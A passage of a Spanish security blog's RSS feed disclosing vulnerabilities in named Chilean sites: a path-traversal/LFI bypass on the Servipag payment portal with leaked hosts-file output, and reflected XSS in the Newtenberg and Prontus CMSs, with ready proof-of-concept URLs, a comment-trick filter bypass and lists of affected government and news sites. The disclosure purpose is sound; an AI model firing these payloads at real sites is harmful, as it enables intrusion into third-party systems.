			<content:encoded><![CDATA[<p>La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.</p>
<p>En la sección &#8220;<a href="http://www.servipag.com/browse.asp?pagina=web/quienes_somos.htm">Quienes somos</a>&#8221; podemos ver el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png"><img class="aligncenter size-full wp-image-2523" title="servip2" src="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png" alt="" width="453" height="70" /></a></p>
<p>Como es de costumbre de todas estas empresas, todas tienen un &#8220;alto estandar de seguridad&#8221; y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una <strong>mentira</strong>.</p>
<p>Según ellos:</p>
<blockquote><p>Seguridad<br />
Contamos con las herramientas de más <strong>alto nivel en seguridad</strong> y eficiencia que la tecnología virtual ofrece en el mercado actualmente.</p></blockquote>
<p>Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).<br />
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta <a href="http://twitter.com/ServipagOnLine">@ServipagOnLine</a> comenzó a seguirme y me dijo &#8220;<em>Nuestro jefe de proyectos se contactara contigo</em>&#8220;, 7 días despues lo único que he recibido es un correo que dice:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/email.png"><img class="aligncenter size-full wp-image-2528" title="email" src="http://blog.zerial.org/wp-content/uploads/2011/07/email.png" alt="" width="360" height="180" /></a></p>
<p>Le respondí cómo podía contactarme y eso fue el fin de la conversación.</p>
<p><span id="more-2519"></span></p>
<h2>Las vulnerabilidades</h2>
<h3>Local File Include &#038; Directory Traversal</h3>
<p>Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo &#8220;browse.asp&#8221;, al pasarle mediante la variable &#8220;pagina&#8221; el archivo que deseamos ver, por ejemplo &#8220;../../../../../../../../../../../boot.ini&#8221;.</p>
<p>Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los &#8220;slash&#8221; normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png" alt="" title="errormsg" width="501" height="266" class="aligncenter size-full wp-image-2529" /></a></p>
<p>Pero gracias a la contribución de <a href="http://twitter.com/1error500">@1error500</a>, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los &#8220;slash&#8221; por &#8220;backslash&#8221; (\), podemos explotar nuevamente la vulnerabilidad.</p>
<p>Por ejemplo: <a href="http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107">http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107</a></p>
<p><code>#<br />
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br />
#<br />
# This file contains the mappings of IP addresses to host names. Each<br />
# entry should be kept on an individual line. The IP address should<br />
# be placed in the first column followed by the corresponding host name.<br />
# The IP address and the host name should be separated by at least one<br />
# space.<br />
#<br />
# Additionally, comments (such as these) may be inserted on individual<br />
# lines or following the machine name denoted by a '#' symbol.<br />
#<br />
# For example:<br />
#<br />
#   102.54.94.97   rhino.acme.com     # source server<br />
#    38.25.63.10   x.acme.com       # x client host</p>
<p>127.0.0.1    localhost<br />
192.168.2.8www.servipag.com</code></p>
<p>Una verguenza de seguridad.</p>
<h3>Cross Site Scripting (XSS)</h3>
<p>Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable &#8220;p&#8221; y a la variable &#8220;mensaje_error&#8221; dependiendo de la &#8220;pagina&#8221; a mostrar.</p>
<p>- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&#038;bloque=Pagos%20Preguntas%20Frecuentes1&#038;p=%3Cscript%3Ealert(/XSS/)%3C/script%3E<br />
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&#038;mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E</p>
<p>Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?</p>
<p>Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"  data-text="Servipag.cl: El portal chileno de pagos online más inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting en CMS Newtenberg Engine</title>
		<link>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/</link>
		<comments>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:05:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[conama]]></category>
		<category><![CDATA[conicyt]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[newtenberg]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[subdere]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2442</guid>
		<description><![CDATA[Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif" alt="" title="logo newtenberg engine" width="120" height="108" class="aligncenter size-full wp-image-2443" /></a></p>
<blockquote><p>Esta plataforma de Software permite administrar contenidos y hacer  sustentables sitios Web de alta complejidad. Los documentos se almacenan  en un reservorio de conocimiento y pueden ser caracterizados según  múltiples miradas (clasificandos). Engine apoya las labores de  Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición  de Contenidos, interconectando las labores del equipo de trabajo a  través de un sistema de workflow.</p></blockquote>
<p>La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.<br />
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo &#8220;onsubmit=doSearch()&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png" alt="" title="src_form_conama" width="488" height="20" class="aligncenter size-full wp-image-2447" /></a></p>
<p>Al realizar la busqueda, la función doSearch() nos cambia el href:</p>
<pre name="code" class="c">function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } </pre>
<p>Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:</p>
</pre>
<pre name="code" class="c">var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&#038;engine=SwisheFind';
	url+= '&#038;rpp=';
	url+= '&#038;cid=815';
	url+= '&#038;stid=';
	url+= '&#038;iid=1257';
	url+= '&#038;grclass=resultado-busqueda';
	url+= '&#038;pnid=';
	url+= '&#038;pnid_df=';
	url+= '&#038;pnid_tf=';
	url+= '&#038;pnid_search=2033,1999,1849';
	url+= '&#038;limit=';
	url+= '&#038;searchon=';
	url+= '&#038;channellink=';
	url+= '&#038;articlelink=w3:article';
	url+= '&#038;pvlink=w3:propertyvalue';
	url+= '&#038;notarticlecid=';
	url+= '&#038;use_cid_owner_on_links=';
	url+= '&#038;show_ancestors=';
	url+= '&#038;show_pnid=';
	url+= '&#038;cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&#038;' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&#038;start=' + getCookie( 'search_start' );
		url+= '&#038;keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&#038;prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&#038;javascript=1';
	document.write( '<scr ' + 'ipt language="JavaScr' + 'ipt" type="text/javascr' + 'ipt" src="' + url + '"> < \/scr' + 'ipt>' );</scr></pre>
<p>Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.<br />
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.</p>
<p><span id="more-2442"></span></p>
<p>Para este ejemplo, lo que nos interesa es el valor final de la variable &#8220;url&#8221;, que en este caso es algo similar a:</p>
<p><strong>http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=&#038;cid=815&#038;stid=&#038;iid=1257&#038;grclass=resultado-busqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2033,1999,1849&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=&#038;show_pnid=&#038;cids=815&#038;keywords=prueba</strong></p>
<p>Ya nos salimos del dominio <em>conama.cl</em> y entramos a jugar al subdominio <em>ntg-engine.conama.cl</em>, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png" alt="" title="busqueda_conama" width="469" height="221" class="aligncenter size-full wp-image-2450" /></a></p>
<p>Aparece en <strong>negrita</strong> la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png" alt="" title="xss_poc_conama" width="670" height="410" class="aligncenter size-full wp-image-2451" /></a></p>
<p>Los sitios afectados son:</p>
<p><a href="http://www.newtenberg.com">Newtenberg &#8211; http://www.newtenberg.com</a><br />
<a href="http://www.sinia.cl">SINIA (Sistema Nacional de Informacion Ambiental) &#8211; http://www.sinia.cl</a><br />
<a href="http://www.mma.gob.cl">Ministerio del Medio Ambiente &#8211; http://www.mma.gob.cl</a><br />
<a href="http://www.siss.gob.cl">Superintendencia de Servicios Sanitarios &#8211; http://www.siss.gob.cl</a><br />
<a href="http://ri.conicyt.cl">Repositorio Institucional CONICYT &#8211; http://ri.conicyt.cl</a><br />
<a href="http://www.redlideres.cl">Red Lideres &#8211; http://www.redlideres.cl</a><br />
<a href="http://www.puntolex.cl">Punto Lex &#8211; http://www.puntolex.cl</a><br />
<a href="http://www.subdere.gov.cl">Subsecretaria de Desarrollo Regional y Administrativo &#8211; http://www.subdere.gov.cl</a><br />
<a href="http://www.conama.cl">CONAMA &#8211; http://www.conama.cl</a><br />
<a href="http://www.elperiodista.cl/">El Periodista &#8211; http://www.elperiodista.cl/</a><br />
<a href="http://www.colombiaaprende.edu.co">Colombia Aprende &#8211; http://www.colombiaaprende.edu.co</a></p>
<p>Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable &#8220;url&#8221;.</p>
<p><strong>PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)</strong></p>
<p>URL: <strong>http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&#038;engine=&#038;rpp=20&#038;cid=876&#038;stid=&#038;iid=1510&#038;grclass=&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=1&#038;show_pnid=1&#038;cids=876&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png" alt="" title="xss_poc_subdere" width="644" height="422" class="aligncenter size-full wp-image-2454" /></a></p>
<p><strong>PoC en el propio sitio de Newtenberg</strong></p>
<p>URL: <strong>http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=10&#038;cid=924&#038;stid=5686&#038;iid=1765&#038;grclass=resultadobusqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=&#038;pvlink=&#038;notarticlecid=0&#038;use_cid_owner_on_links=0&#038;show_ancestors=&#038;show_pnid=&#038;cids=924&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E<br />
</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png" alt="" title="xss_poc_newtenberg" width="660" height="406" class="aligncenter size-full wp-image-2459" /></a></p>
<p>El error se produce al no filtrar el contenido de la variable &#8220;<strong>keywords</strong>&#8220;.</p>
<p>No se descarta que puedan haber mas sitios afectados.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcross-site-scripting-en-cms-newtenberg-engine%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"  data-text="Cross-Site Scripting en CMS Newtenberg Engine" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad XSS en Prontus CMS</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 18:48:36 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[cross site scriptoing]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[fonasa]]></category>
		<category><![CDATA[prontus]]></category>
		<category><![CDATA[senado]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[ucv]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2410</guid>
		<description><![CDATA[Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales. Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif"><img class="aligncenter size-full wp-image-2411" title="Prontus CMS Logo" src="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif" alt="" width="200" height="72" /></a></p>
<blockquote><p>Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.</p></blockquote>
<p>Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.<br />
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.</p>
<p>Entre los sitios afectados por esta vulnerabilidad estan el <a href="http://senado.cl">sitio web del Senado de la República de Chile</a>, y <a href="http://www.fonasa.cl">Fonasa</a>, entre otros.</p>
<p>La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html &#8220;antialone.html&#8221;</p>
<p>En este archivo encontramos el siguiente codigo javascript:</p>
<pre id="line1" class="c" name="code">if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('&lt;frameset rows="122,1*" frameborder="NO" border="0" framespacing="0"&gt;');
    document.write('  &lt;frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO"&gt;');
    document.write('  &lt;frame name="cont" src="' + page + '" marginwidth="0" marginheight="0"&gt;');
    document.write('&lt;/frameset&gt;');
  };</pre>
<p>Si se fijan, en la linea 6 crea un frame con <em>src=page</em>, y en la linea 3 <em>page=page+?+Math.random()</em>. Por lo tanto, si le pasamos la variable &#8220;page&#8221; por url con el contenido &#8220;javsript:algo&#8230;&#8221; el navegador lo debería interpretar.</p>
<p><span id="more-2410"></span></p>
<p>El problema es que en la línea 3 le agrega &#8220;?numero aleatorio&#8221;, por lo que si le pasamos el valor &#8220;javascript:alert(1)&#8221; lo que cargara el frame será &#8220;javascript:alert(1)?45454554.0&#8243; lo que provocará un error de sintaxis y el navegador no hará nada.<br />
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.</p>
<p>No podemos poner directamente la url &#8220;http://www.algo.com&#8221; ya que en otro lado del javscript aparece un tipo de filtro que si encuentra &#8220;://&#8221; nos manda a la raíz del sitio:</p>
<pre id="line1" class="c" name="code"> if (page.indexOf('://') &gt;= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };</pre>
<p>Para explotar la vulnerabilidad usaré &#8220;<strong>javascript:alert(/XSS/);//</strong>&#8220;, de esta forma el valor de la variable page será &#8220;<strong>javascript:alert(/XSS/);//?45454554.0</strong>&#8221; dejando lo último como comentario.</p>
<h2>Pruebas de Concepto:</h2>
<p><strong>Sitio web del Senado</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png"><img class="aligncenter size-full wp-image-2431" title="Senado Republica Chile XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png" alt="" width="622" height="376" /></a></p>
<p><strong>Sitio web del Fondo Nacional de Salud (FONASA)</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png"><img class="aligncenter size-full wp-image-2433" title="FONASA XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png" alt="" width="583" height="337" /></a></p>
<p><strong>Universidad Catolica de Valparaiso</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png"><img class="aligncenter size-full wp-image-2434" title="UCV XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png" alt="" width="571" height="330" /></a></p>
<p><strong>Los sitios afectados son:</strong></p>
<p><a href="http://www.mercuriovalpo.cl" target="_new">http://www.mercuriovalpo.cl</a><br />
<a href="http://www.estrellaiquique.cl" target="_new">http://www.estrellaiquique.cl</a><br />
<a href="http://www.australvaldivia.cl" target="_new">http://www.australvaldivia.cl</a><br />
<a href="http://www.ucv.cl" target="_new">http://www.ucv.cl</a><br />
<a href="http://www.estrellavalpo.cl" target="_new">http://www.estrellavalpo.cl</a><br />
<a href="http://www.senador.cl" target="_new">http://www.senador.cl</a><br />
<a href="http://www.diariollanquihue.cl" target="_new">http://www.diariollanquihue.cl</a><br />
<a href="http://www.lidersanantonio.cl" target="_new">http://www.lidersanantonio.cl</a><br />
<a href="http://www.australtemuco.cl" target="_new">http://www.australtemuco.cl</a><br />
<a href="http://www.diariolaestrella.cl" target="_new">http://www.diariolaestrella.cl</a><br />
<a href="http://www.estrellaloa.cl" target="_new">http://www.estrellaloa.cl</a><br />
<a href="http://www.estrellaarica.cl" target="_new">http://www.estrellaarica.cl</a><br />
<a href="http://www.laestrellachiloe.cl" target="_new">http://www.laestrellachiloe.cl</a><br />
<a href="http://www.australlosrios.cl" target="_new">http://www.australlosrios.cl</a><br />
<a href="http://mercuriocalama.cl" target="_new">http://mercuriocalama.cl</a><br />
<a href="http://www.australosorno.cl" target="_new">http://www.australosorno.cl</a><br />
<a href="http://www.diarioatacama.cl" target="_new">http://www.diarioatacama.cl</a><br />
<a href="http://www.diarioaustral.cl" target="_new">http://www.diarioaustral.cl</a><br />
<a href="http://www.renacerdeangol.cl" target="_new">http://www.renacerdeangol.cl</a><br />
<a href="http://www.fonasa.cl" target="_new">http://www.fonasa.cl</a><br />
<a href="http://www.mercurioantofagasta.cl" target="_new">http://www.mercurioantofagasta.cl</a><br />
<a href="http://www.prensatocopilla.cl" target="_new">http://www.prensatocopilla.cl</a><br />
<a href="http://www.ellanquihue.cl" target="_new">http://www.ellanquihue.cl</a><br />
<a href="http://www.elaustral.cl" target="_new">http://www.elaustral.cl</a><br />
<a href="http://www.hernanlarrain.cl" target="_new">http://www.hernanlarrain.cl</a><br />
<a href="http://www.estrellanorte.cl" target="_new">http://www.estrellanorte.cl</a></p>
<p>No se descarta que existan más sitios afectados.</p>
<p><strong>Actualizado (12 de Julio del 2011):</strong><br />
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-xss-en-prontus-cms%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"  data-text="Vulnerabilidad XSS en Prontus CMS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 13:34:05 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[clcert]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2387</guid>
		<description><![CDATA[Según el propio sitio web: El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos. Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios [...]]]></description>
			<content:encoded><![CDATA[<p>Según el propio sitio web:</p>
<blockquote><p>El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.</p></blockquote>
<p>Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es <strong>impresentable</strong> que tengan publicados sitios web con vulnerabilidades tan <strong>basicas</strong>.<br />
